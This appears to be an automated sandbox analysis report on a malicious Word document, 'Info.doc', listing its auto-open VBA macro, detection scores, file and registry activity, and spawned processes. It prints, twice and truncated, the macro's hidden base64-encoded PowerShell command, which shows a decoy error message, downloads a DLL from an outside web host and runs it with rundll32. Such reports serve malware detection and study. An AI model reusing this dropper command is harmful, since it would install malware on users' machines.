Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00288E79 13_2_00288E79
Document contains an embedded VBA macro which executes code when the document is opened / closed
Source: Info.doc OLE, VBA macro line: Private Sub Document_open()
Source: VBA code instrumentation OLE, VBA macro: Module J84qpb_vkjnc1hq, Function Document_open Name: Document_open
Document contains embedded VBA macros
Source: Info.doc OLE indicator, VBA macros: true
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\Rg0646r\Q90xmrq\M8jklv4.dll 2ED12B3974BE2D729CB7EFDDDFCED6B61E5B00A56EBE27A6CF3FBB080880F2F0
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 1000B078 appears 46 times
Yara signature match
Source: 00000005.00000002.2095373309.0000000000106000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000005.00000002.2095728605.0000000001F14000.00000004.00000040.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: powershell.exe, 00000005.00000002.2105210846.000000001CCC0000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2100613650.0000000001B60000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2097379165.0000000002060000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2099147774.0000000001E80000.00000002.00000001.sdmp Binary or memory string: .VBPud<_
Source: classification engine Classification label: mal100.troj.evad.winDOC@42/15@1/4
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$Info.doc Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRBCB9.tmp Jump to behavior
Source: Info.doc OLE indicator, Word Document stream: true
Source: Info.doc OLE document summary: title field not present or empty
Source: Info.doc OLE document summary: edited time not present or 0
Source: C:\Windows\System32\msg.exe Console Write: ............>........................... .........................%.......%.............#...............................h.......5kU.......%..... Jump to behavior
Source: C:\Windows\System32\msg.exe Console Write: ............>...................A.s.y.n.c. .m.e.s.s.a.g.e. .s.e.n.t. .t.o. .s.e.s.s.i.o.n. .C.o.n.s.o.l.e.......H.%.....L.................%..... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................................................`I.........v.....................K......(.f............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......h...............u.............}..v....H>......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j..... u...............u.............}..v.....>......0...............(.f............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......................u.............}..v.....K......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j......f...............u.............}..v....8L......0.................f............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....#..................j......................u.............}..v.....y......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....#..................j..... u...............u.............}..v....xz......0.................f............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....7...............N{.j.....Ff...............u.............}..v.....!......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....7................z.j....x"................u.............}..v....."......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....C...............N{.j.....Ff...............u.............}..v.....)......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....C................z.j....x*................u.............}..v.....*......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....O...............N{.j.....Ff...............u.............}..v.....1......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....O................z.j....x2................u.............}..v.....2......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....[.......e.s. .a.r.e. .".S.s.l.3.,. .T.l.s."...".........}..v.....7......0................Cf.....(....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....[................z.j.....7................u.............}..v....H8......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....g.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.2.8.............}..v....X<......0................Cf.....$....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....g................z.j.....=................u.............}..v.....=......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....s...............N{.j.....Ff...............u.............}..v....XD......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....s................z.j.....E................u.............}..v.....E......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....XL......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j.....M................u.............}..v.....M......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....XT......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j.....U................u.............}..v.....U......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....X\......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j.....]................u.............}..v.....]......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....Xd......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j.....e................u.............}..v.....e......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....Xl......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j.....m................u.............}..v.....m......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....Xt......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j.....u................u.............}..v.....u......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....X|......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j.....}................u.............}..v.....}......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....'...............N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....'................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....3...............N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....3................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....?...............N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....?................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....K...............N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....K................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....W...............N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....W................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....c...............N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....c................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....o...............N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....o................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....{...............N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....{................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....X.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j......................u.............}..v............0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....X$......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j.....%................u.............}..v.....%......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....X,......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j.....-................u.............}..v.....-......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....X4......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j.....5................u.............}..v.....5......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....X<......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j.....=................u.............}..v.....=......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....XD......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j.....E................u.............}..v.....E......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....XL......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j.....M................u.............}..v.....M......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....XT......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j.....U................u.............}..v.....U......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................N{.j.....Ff...............u.............}..v....H\......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................z.j.....]................u.............}..v.....]......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....#...............N{.j.....Ff...............u.............}..v....(d......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....#................z.j.....d................u.............}..v....`e......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v..../...............N{.j.....Ff...............u.............}..v.....j......0.......................r....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v..../................z.j....hk................u.............}..v.....k......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....;....... .......N{.j.....Ff...............u.............}..v....xo......0................Cf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....;................z.j....0p................u.............}..v.....p......0...............HDf............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j....E.................u.............}..v............0.................f............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j....E.................u.............}..v....`9/.....0.................f............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\msg.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: unknown Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Rg0646r\Q90xmrq\M8jklv4.dll #1
Source: Info.doc Virustotal: Detection: 69%
Source: Info.doc ReversingLabs: Detection: 56%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAkAEUAMwBTAHkAIAAgAD0AIABbAFQAWQBQAEUAXQAoACIAewA0AH0AewAzAH0AewAwAH0AewAxAH0AewA1AH0AewAyAH0AIgAtAGYAJwBNAC4ASQBvAC4ARAAnACwAJwBpAFIAZQAnACwAJwBUAE8AUgBZACcALAAnAFMAdABlACcALAAnAHMAeQAnACwAJwBDACcAKQAgADsAIAAgAFMAZQBUAC0ASQBUAEUATQAgAFYAQQBSAEkAYQBiAEwARQA6AGkANwBSAHAAVgB6ACAAIAAoAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADYAfQB7ADMAfQB7ADcAfQB7ADUAfQAiAC0AZgAgACcARQBUAC4AUwBlAFIAVgBpACcALAAnAFMAJwAsACcAVABFAG0ALgBOACcALAAnAEkATgBUACcALAAnAHkAUwAnACwAJwBBAG4AQQBnAEUAcgAnACwAJwBDAGUAUABvACcALAAnAE0AJwApACkAIAAgADsAJABYAHMAZQBqAGoAbwBvAD0AKAAnAE4AJwArACgAJwBhAHYAYwAnACsAJwBsAGcAJwApACsAJwB1ACcAKQA7ACQAUwBsAGYAcgAxAGcAcAA9ACQAUgBwAGIANQA2AHQANAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQA5AG4AeQBiAGoAcwA7ACQAVwB3AHUAaABjAGYAcwA9ACgAKAAnAFUAXwBtACcAKwAnADQAawAnACkAKwAnAHAAcQAnACkAOwAgACAAKABnAEUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACAAZQAzAHMAWQAgAC0AdgBBAGwAVQBlAE8AbgAgACkAOgA6ACIAQwBSAGUAYQBUAEUARABpAHIAZQBgAGMAYABUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWQAnACsAJwBiACcAKwAnAHMAUgAnACsAKAAnAGcAMAA2ADQAJwArACcANgByAFkAYgBzACcAKwAnAFEAJwArACcAOQAnACkAKwAoACcAMAB4AG0AJwArACcAcgBxACcAKwAnAFkAYgAnACkAKwAnAHMAJwApACAAIAAtAFIARQBQAGwAYQBDAGUAIAAoACcAWQAnACsAJwBiAHMAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQASwAzADAAOQBxAHcAMQA9ACgAKAAnAFIAcQAnACsAJwByAG0AJwApACsAKAAnAGIAMgAnACsAJwA4ACcAKQApADsAIAAoACAATABzACAAIAB2AGEAcgBpAEEAYgBsAGUAOgBpADcAcgBQAHYAWgAgACkALgB2AGEATABVAGUAOgA6ACIAUwBFAGMAVQByAGkAYABUAFkAcABSAG8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQATgBtAGgAMQB3AG0AZgA9ACgAKAAnAFgAMwBiADYAJwArACcAZwAnACkAKwAnAGEAJwArACcAbwAnACkAOwAkAE8AagB6AF8AdwBhADcAIAA9ACAAKAAnAE0AJwArACgAJwA4AGoAawBsACcAKwAnAHYANAAnACkAKQA7ACQAWABnAHQAdwB6AGcAaAA9ACgAKAAnAEMAYwAnACsAJwBrADAAaAAnACkAKwAnADEANgAnACkAOwAkAFEAcQBhAHkAdQA2AGgAPQAoACcAQgAnACsAKAAnAGUANgAnACsAJwBmACcAKQArACgAJwByACcAKwAnAHcAMAAnACkAKQA7ACQASgBkAGcAegBhADUAbwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFIAZwAwADYANAA2AHIAJwArACcAewAnACsAJwAwAH0AUQA5ADAAJwArACcAeABtAHIAcQB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABPAGoAegBfAHcAYQA3ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATgAwADUAcQA1AHQANQA9ACgAJwBPACcAKwAoACcAXwAnACsAJwAzACcAKwAnAGUAMgBwAGYAJwApACkAOwAkAEcAawBoAG0AMQB0AGcAPQBuAGUAVwAtAE8AYgBgAGoAYABFAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBsAGkAZQBOAHQAOwAkAEoAawBkAHkAcwAwAG8APQAoACgAKAAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AEoAJwArACcAKQAoADMAcwAyACkAJwApACkAKwAoACcAKAAnACsAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAegBoACcAKwAnAG8AJwApACkAKwAoACcAbgBnAHMAJwArACcAaAAnACsAJwBpAHgAaQBuAGcAYwAnACsAJwBoAHUAYQAnACkAKwAoACcAbgAnACsAJwBnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAoACcASgApACgAMwBzADIAJwArACcAKQAnACkAKQArACcAKAAnACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtAGkAbgBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoAE8AVABtAEoAJwArACcAKQAoACcAKwAnA
Source: unknown Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file.
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAkAEUAMwBTAHkAIAAgAD0AIABbAFQAWQBQAEUAXQAoACIAewA0AH0AewAzAH0AewAwAH0AewAxAH0AewA1AH0AewAyAH0AIgAtAGYAJwBNAC4ASQBvAC4ARAAnACwAJwBpAFIAZQAnACwAJwBUAE8AUgBZACcALAAnAFMAdABlACcALAAnAHMAeQAnACwAJwBDACcAKQAgADsAIAAgAFMAZQBUAC0ASQBUAEUATQAgAFYAQQBSAEkAYQBiAEwARQA6AGkANwBSAHAAVgB6ACAAIAAoAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADYAfQB7ADMAfQB7ADcAfQB7ADUAfQAiAC0AZgAgACcARQBUAC4AUwBlAFIAVgBpACcALAAnAFMAJwAsACcAVABFAG0ALgBOACcALAAnAEkATgBUACcALAAnAHkAUwAnACwAJwBBAG4AQQBnAEUAcgAnACwAJwBDAGUAUABvACcALAAnAE0AJwApACkAIAAgADsAJABYAHMAZQBqAGoAbwBvAD0AKAAnAE4AJwArACgAJwBhAHYAYwAnACsAJwBsAGcAJwApACsAJwB1ACcAKQA7ACQAUwBsAGYAcgAxAGcAcAA9ACQAUgBwAGIANQA2AHQANAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQA5AG4AeQBiAGoAcwA7ACQAVwB3AHUAaABjAGYAcwA9ACgAKAAnAFUAXwBtACcAKwAnADQAawAnACkAKwAnAHAAcQAnACkAOwAgACAAKABnAEUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACAAZQAzAHMAWQAgAC0AdgBBAGwAVQBlAE8AbgAgACkAOgA6ACIAQwBSAGUAYQBUAEUARABpAHIAZQBgAGMAYABUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWQAnACsAJwBiACcAKwAnAHMAUgAnACsAKAAnAGcAMAA2ADQAJwArACcANgByAFkAYgBzACcAKwAnAFEAJwArACcAOQAnACkAKwAoACcAMAB4AG0AJwArACcAcgBxACcAKwAnAFkAYgAnACkAKwAnAHMAJwApACAAIAAtAFIARQBQAGwAYQBDAGUAIAAoACcAWQAnACsAJwBiAHMAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQASwAzADAAOQBxAHcAMQA9ACgAKAAnAFIAcQAnACsAJwByAG0AJwApACsAKAAnAGIAMgAnACsAJwA4ACcAKQApADsAIAAoACAATABzACAAIAB2AGEAcgBpAEEAYgBsAGUAOgBpADcAcgBQAHYAWgAgACkALgB2AGEATABVAGUAOgA6ACIAUwBFAGMAVQByAGkAYABUAFkAcABSAG8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQATgBtAGgAMQB3AG0AZgA9ACgAKAAnAFgAMwBiADYAJwArACcAZwAnACkAKwAnAGEAJwArACcAbwAnACkAOwAkAE8AagB6AF8AdwBhADcAIAA9ACAAKAAnAE0AJwArACgAJwA4AGoAawBsACcAKwAnAHYANAAnACkAKQA7ACQAWABnAHQAdwB6AGcAaAA9ACgAKAAnAEMAYwAnACsAJwBrADAAaAAnACkAKwAnADEANgAnACkAOwAkAFEAcQBhAHkAdQA2AGgAPQAoACcAQgAnACsAKAAnAGUANgAnACsAJwBmACcAKQArACgAJwByACcAKwAnAHcAMAAnACkAKQA7ACQASgBkAGcAegBhADUAbwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFIAZwAwADYANAA2AHIAJwArACcAewAnACsAJwAwAH0AUQA5ADAAJwArACcAeABtAHIAcQB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABPAGoAegBfAHcAYQA3ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATgAwADUAcQA1AHQANQA9ACgAJwBPACcAKwAoACcAXwAnACsAJwAzACcAKwAnAGUAMgBwAGYAJwApACkAOwAkAEcAawBoAG0A